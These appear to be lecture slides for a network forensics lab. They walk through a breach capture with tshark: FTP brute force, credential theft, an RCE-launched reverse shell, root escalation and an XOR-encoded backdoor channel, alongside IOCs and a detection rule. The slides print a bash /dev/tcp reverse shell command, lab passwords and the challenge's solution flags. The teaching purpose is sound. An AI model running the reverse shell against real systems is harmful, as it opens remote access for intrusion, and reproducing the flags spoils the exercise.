

Deep Dive: Wireshark, Streams & Covert Channels

The upstream breach capture, solved together — the two new challenges stay yours.

Stefanus Eko Prasetyo

Lab-5 · companion to the Lab 05 lecture

What we cover today

1 Triage workflow

capinfos, protocol hierarchy, conversations - orient in 60 seconds

2 Stream-centric analysis

follow streams in order, cite them like page numbers

3 tshark for volume

scripted extraction: filters, fields, statistics, exports

4 Reconstructing the chain

correlate streams across ports and time into one attack story

5 Worked case + your turn

the full breach capture end to end; then Challenges B and C

Sixty-second orientation

root@dfir:~/lab05#

```
$ capinfos challenge.pcapng
Number of packets: 2938
First packet time: 2023-02-22 23:19:41 UTC
SHA256: 4a71c0... # intake hash!

$ tshark -r challenge.pcapng -q -z io,phs
# protocol hierarchy, scripted
$ tshark -r challenge.pcapng -q -z conv,tcp
# TCP conversations ranked by bytes
```

The 60 seconds buy

- ▶ capture window and duration
- ▶ protocol mix - what to expect
- ▶ top talkers and odd ports
- ▶ an integrity hash before you touch anything

Streams are your page numbers

```
root@dfir:~/lab05#  
  
# find streams to one port, list stream ids:  
$ tshark -r cap.pcap -Y 'tcp.port==21'  
  -T fields -e tcp.stream | sort -n | uniq  
12 13 14 15 16 17 ...  
  
# dump one stream as text:  
$ tshark -r cap.pcap -q -z follow,tcp,ascii,13  
  
# brute force = MANY one-attempt streams;  
# success = the stream with 230 in it
```

Citation habit

- ▶ report findings as 'TCP stream N'
- ▶ filter tcp.stream==N to re-find it instantly
- ▶ one conversation = one exhibit
- ▶ red vs blue = client vs server

tshark one-liners worth memorizing

Goal	Command
Filter + show fields	<code>tshark -r c.pcap -Y ftp -T fields -e frame.number -e ftp.request.command</code>
All FTP passwords	<code>tshark -r c.pcap -Y 'ftp.request.command=="PASS"' -T fields -e ftp.arg</code>
HTTP objects out	<code>tshark -r c.pcap --export-objects http,outdir/</code>
Conversations	<code>tshark -r c.pcap -q -z conv,tcp</code>
Follow stream N	<code>tshark -r c.pcap -q -z follow,tcp,ascii,N</code>
ICMP payload hex	<code>tshark -r c.pcap -Y icmp -T fields -e data</code>

Payloads hide in layers

```
root@dfir:~/lab05#  
  
# layer 1: URL encoding (the RCE POST):  
cmd=bash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.0.106%2F4444+0%3E%261  
-> bash -i >& /dev/tcp/192.168.0.106/4444 0>&1 # reverse shell!  
  
# layer 2: hex + XOR (the backdoor channel):  
1f067a -> XOR('super_secret_key') -> 'ls'  
  
$ python3 -c "print(bytes(a^b for a,b in zip(bytes.fromhex('1f067a'),  
b'super_secret_key')).decode())"
```

FTP: brute force, then batman

```
root@dfir:~/lab05#  
  
# ~30 short streams to port 21, three attempts each:  
USER ftp / PASS princess / 530 Login incorrect.  
USER ftp / PASS qwerty / 530 Login incorrect.  
...  
# then one stream ends differently (Q2):  
USER ftp / PASS batman / 230 Login successful.  
SYST / FEAT / EPSV / LIST -la / NLST  
RETR credentials.txt / SIZE / MDTM  
RETR .bash_history  
# Q3: data connections carry the goods (next slide)
```

Loot, RCE, and the road to root

root@dfir:~/lab05#

```
# FTP data connections:
credentials.txt: username myuser, password P@ssw0rd123456!
.bash_history: su root, sudo passwd root, mysql usage

# Q4: myuser logs into MySQL (3306) - creds reused
# Q6: the RCE packets #2674 / #2678 (from Lab 04's app!):
cmd=bash -i >& /dev/tcp/192.168.0.106/4444 0>&1

# Q5: on the 4444 shell, su root - password visible:
1amgr000000t!@#$ (first try had a trailing space - failed!)
```

Story beats

- ▶ stolen creds reused on MySQL
- ▶ reverse shell = odd port 4444
- ▶ passwords typed into su appear in the stream
- ▶ Q7: then flag.txt decoy, pty, cd ~

gr00t.txt, backdoor.py, and two flags

root@dfir:~/lab05#

```
# Q8: cat gr00t.txt (root's home):  
"Congrats on getting here. But that's not it,  
  the real test starts now! ;)" + flag{1_4m_gr00000t!}  
  
# Q9: wget backdoor.py -> C2 on port 5555:  
auth admin/b4ckd00r; commands = hex + XOR 'super_secret_key'  
  
# Q10: decoded covert commands: ls / id / cat gr00t.txt /  
echo "flag{c0ngrats_1f_y0u_m4d3_1t_t111_h3r3_ch4mp}" | whoami
```

Upstream flags (original format):

```
flag{1_4m_gr00000t!}  
flag{c0ngrats_1f_y0u_m4d3_1t_t111_h3  
r3_ch4mp}
```

Method

- ▶ follow stream 5555
- ▶ hex-decode each line
- ▶ XOR with the key from backdoor.py

The whole capture, one table

Time (UTC)	Event	Evidence
23:19-23:25	FTP brute force: ~30 streams, 3 guesses each	streams to :21, 530 replies
23:26:11	PASS batman - 230 Login successful	the odd stream out
23:26-23:27	RETR credentials.txt + .bash_history	EPSV data connections
23:26:38	MySQL login as myuser (reused creds)	stream to :3306
23:26:47	RCE POSTs #2674/#2674-78 -> reverse shell	command.php, /dev/tcp/.../4444
23:27-23:28	4444 shell: whoami, su root, pty, gr00t.txt	follow stream :4444
23:28:24	wget backdoor.py from GitHub (over TLS)	TLS to 185.199.x
23:29	backdoor live on :5555 - covert commands	XOR-hex lines

Common mistakes, proven habits

Mistake	Habit instead
Scrolling packet by packet	hierarchy + conversations first; filters second; streams third
Reading only request direction	replies carry the 230/200 and the command OUTPUT - always both
Stopping at the hex dump	URL-decode, hex-decode, XOR - layers hide the story
Ignoring 'boring' protocols	ICMP and DNS are classic covert channels; check their payloads
Forgetting FTP data ports	EPSV/PASV open random high ports - the files ride there

IOCs you can hand the SOC

Category	Indicator from this capture
Atomic	attacker IP 192.168.0.106; C2 port 5555; backdoor creds admin/b4ckd00r
Behavioral	FTP burst then single success; reverse shell to :4444; su-to-root in stream
File	backdoor.py (SHA from capinfos of the wget TLS flow's SNI host)
Credential	ftp:batman; mysql myuser; root 1amgr000000t!@#\$ - all exposed, all rotate NOW
Detection rule	alert tcp any any -> \$HOME 21 (content "530"; threshold 20/min); alert :4444/:5555

Two fresh captures. Same discipline.

01

Challenge B — 4.2

office_hours.pcap: a small intranet capture. Find the login that finally succeeds (the credentials are in the clear), export the file that was downloaded, and decode the token inside it.

02

Challenge C — 4.3

ping_puzzle.pcap: 112 packets of ICMP and nothing else. One host keeps pinging; the payloads are not all padding. Reassemble the odd ones in order and decode the message.

03

Working paper

pre-lab first; staged hints in section 4; cite packet and stream numbers for every claim; hash the captures before and after.